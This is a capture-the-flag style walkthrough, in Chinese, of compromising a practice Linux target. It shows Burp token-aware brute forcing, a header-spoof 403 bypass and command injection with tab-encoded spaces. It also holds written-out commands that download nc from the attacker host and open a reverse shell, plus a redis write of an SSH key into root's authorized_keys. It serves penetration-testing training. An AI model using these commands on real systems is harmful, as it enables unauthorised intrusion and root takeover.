前言
这是打靶训练的第22周,难度中,靶机下载
信息搜集
nmap扫描结果
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u3 (protocol 2.0)
80/tcp open http Apache httpd 2.4.25 ((Debian))
访问网页,和GeminiV1网站非常像。尝试使用admin 1234登录失败
使用dirb,扫扫目录dirb http://10.16.122.51/ -r -X .php
来到registration.php
,随便注册一个用户
注册完毕后,提示激活用户需输入6位数字
上面dirb爆破结果有个activate.php
。访问后,看来是激活页面
要User ID
和Activation Code
,才能激活。User ID
获取非常简单,点击My Profile
,url的u=数字
就是User ID
。得到User ID
为16
激活账户
献出burp来跑激活码,抓包,发现存在token。
设置token可以防止爆破,不过我在源码里发现了token信息
说明请求包的token是从源码里面动态获取的,这点小问题难不倒强大的burp
Attack type
选择Pitchfork
,设置好激活码和token
设置Payload 1
按下图设置
设置Payload 2
点击Options
来到Grep - EXtract
点击Add
点击Refetch response
得到响应包后,双击value里面的值,会自动填充内容匹配规则。
点OK后,设置Payload 2
的Payload type
为Recursive grep
,Payload Options
自动填充成刚刚设置的过滤规则。
最后来到Resource Pool
,按下图设置线程为1,token不能使用多线程爆破,这是burp官方给的提示!
爆破没过多久就出现一个302状态码,看样子被重定向了首页
再次查看,用户已经被成功激活
Bypass 403
来到User List
,9emin1
橙色用户名,与其他蓝色用户名对比,是那么的与众不同
查看9emin1
用户信息,发现是管理员账号
走投无路之时,可以爆破密码,但这里大可不必。万事第一步先看源码,获取到加密后的password:edbd1887e772e13c251f688a5f10c1ffbb67960d
使用cmd5,明文为:secretpassword,使用账号:Gemini
,密码:secretpassword
,成功以管理员身份登录
点击Admin Panel
中的Execute Command
,顾名思义命令执行嘛
经典403页面
加上X-Forwarded-For: 127.0.0.1
头,成功绕过
为了简化这一操作,可以安装Bypass WAF
插件
来到Project options
中的Sessions
,在Session Handing Rules
点击Add
添加一个规则
Add
选择Invoke a Burp extension
扩展选择Bypass WAF
来到Scope
按下图所示勾选
在Site map
中选择靶机ip,Add to scope
添加进过滤器,至此插件配置就完成了
再次来到Execute Command
页面,成功绕过
getshell
命令能成功执行ls
,但无法执行ls -l
。所以要么是-
被过滤,要么是空格被过滤。经过测试空格被过滤了
抓包后,可看到burp使用+
号代替了空格
使用tab键来替换空格,tab键对应的url编码为%09
放包后,提示命令成功执行
来到Proxy
中的Options
,Match and Replace
点击Add
添加替换规则。burp会自动将+
即空格替换成%09
尝试了使用nc命令,没法反弹shell,应该是一些字符被过滤了。我这边的做法是,靶机下载kali上的nc
wget http://10.16.122.17/nc -O /tmp/nc # 下载nc
chmod +x /tmp/nc
/tmp/nc 10.16.122.17 4545 -e /bin/bash # 反弹shell
python -c 'import pty; pty.spawn("/bin/bash")' # 升级成tty
成功登录后,因为不是完全交互式shell。所以我准备使用ssh免密登录,升级成交互式shell。
cd /home/gemini1
mkdir .ssh
cd .ssh
之后,来到kali上使用ssh-keygen -t rsa
生成密钥
靶机下载id_rsa.pub
,wget http://10.16.122.17/id_rsa.pub -O authorized_keys
来到kali上成功免密登录
提权
查看运行的端口,存在6379即redis默认端口
grep pass /etc/redis/6379.conf
,得到redis连接密码8a7b86a2cd89d96dfcc125ebcc0535e6
使用redis进行提权
redis-cli -a 8a7b86a2cd89d96dfcc125ebcc0535e6 # 连接redis
config set dir /root/.ssh/
config set dbfilename authorized_keys
# 将kali生成的id_rsa.pub写入
set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDKHkB2tQIPI4xlnr/l//G45lKtOoF6JOa5U5QoDjrAUZic0A/E8LhE+UhWHr9kx+F4cY2TB2IC7OryHGPM62gAUzZ1Nb4PL/v67aYI+ZHjnpAhjhWgr3ovQ8V/VNAj61JktogJRkW6QioKLkdm6N5Bt37IGQEk63CE3gdm2EGJ1enACTvwP+fhPdBYKhOqNVmn/q39ib2ApRcxDb+/M4HzDLpA4PjIbkxl0dE+HwNGp0vXzwkVy8eOIoNWlf3rU529twHzt2LsD3r7sRY3U3cy9LHZ9ly4fmFGnsoDg1TJfRH5AFGI5PJg6YnWs2JX33z7JHd1yL83WF6hMf8icXOeorZ573LAUykyoyu9rXTzsu/MIJsSiOB/1r4huEX3vJQA6HM5NR3K+INbtL2Jd+tkDcAZ/CR+CSp9Ikn41qW+o9lE0IN3Hpg+Qwc1Q1JpnY9e54GZgFGmB57TOeq6Ul3FLKnRuZ/XqiVFmT52cILCEQwTddCFC21Cx5kqMVrVlws= root@kali \n\n\n"
save
再次免密登录,提权完成